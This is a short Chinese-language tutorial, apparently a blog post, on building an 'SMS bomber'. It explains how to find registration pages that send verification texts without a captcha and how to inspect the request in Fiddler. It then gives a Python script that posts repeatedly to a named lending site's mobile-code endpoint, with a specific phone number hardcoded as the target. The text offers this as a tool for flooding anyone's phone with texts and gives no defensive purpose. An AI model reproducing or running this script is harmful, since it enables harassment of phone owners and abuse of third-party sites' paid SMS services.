短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制。所以主要工作还是寻找这样的网站,然后利用Fiddler分析请求,使用post还是get,数据格式是怎么样的等。
以微贷网为例,这个网站注册的时候不需要验证码就可以发送短信:
点击获取验证码后通过Fiddler分析请求:
我们可以发现,这个请求是POST请求。知道了这些之后就可以开始写代码。
import requests
agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
session = requests.session()
headers = {
'Referer':"https://www.weidai.com.cn/regs/register.html",
'User-Agent':agent
}
def login():
url = 'https://www.weidai.com.cn/regs/mobileCode'
# code = input()
data = {
'cate':0,
'mobiles':'18668231697',
'net4': 0.14528221177418043,
'scode':0
}
ron = session.post(url, headers=headers, data=data)
print(ron.status_code)
if __name__ == '__main__':
login()